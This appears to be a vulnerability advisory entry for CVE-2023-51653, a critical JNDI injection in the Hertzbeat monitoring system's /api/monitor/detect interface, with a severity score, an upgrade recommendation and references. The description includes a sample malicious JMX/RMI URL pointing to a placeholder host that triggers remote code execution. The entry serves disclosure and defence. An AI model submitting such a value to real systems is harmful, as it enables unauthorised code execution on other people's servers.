PT-2024-14225 · Hertzbeat · Hertzbeat

Luelueking · Published 2024-02-22 · Updated 2025-01-16 · CVE-2023-51653

Positive Technologies (AI Summary)

CVSS v3.1

9.8

Critical

Base vector

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Name of the Vulnerable Software and Affected Versions Hertzbeat versions prior to 1.4.1

Description Hertzbeat is a real-time monitoring system. In the implementation of JmxCollectImpl.java, JMXConnectorFactory.connect is vulnerable to JNDI injection. The corresponding interface is "/api/monitor/detect". If there is a URL field, the address will be used by default. When the URL is "service:jmx:rmi:///jndi/rmi://xxxxxxx:1099/localHikari", it can be exploited to cause remote code execution.

Recommendations For versions prior to 1.4.1, update to version 1.4.1 to resolve the issue. As a temporary workaround, consider restricting access to the /api/monitor/detect interface and avoiding the use of the vulnerable JMXConnectorFactory.connect function until a patch is applied.

Exploit

Fix

Special Elements Injection

Weakness Enumeration

CWE-74

Related Identifiers

CVE-2023-51653

GHSA-GCMP-VF6V-59GG

Affected Products

Hertzbeat

References · 10

• 🔥 https://github.com/dromara/hertzbeat/security/advisories/GHSA-gcmp-vf6v-59gg · Exploit
• 🔥 https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/51xxx/CVE-2023-51653.json · Exploit
• https://github.com/dromara/hertzbeat/commit/f794b0d82be49c596c04a042976446559eb315ef · Patch
• https://nvd.nist.gov/vuln/detail/CVE-2023-51653 · Security Note
• https://osv.dev/vulnerability/CVE-2023-51653 · Vendor Advisory
• https://t.me/echeloneyes/2681 · Telegram Post
• https://t.me/cvenotify/72225 · Telegram Post
• https://twitter.com/CVEnew/status/1760694041274913133 · Twitter Post
• https://t.me/cvenotify/107662 · Telegram Post
• https://twitter.com/cracbot/status/1760907398204834078 · Twitter Post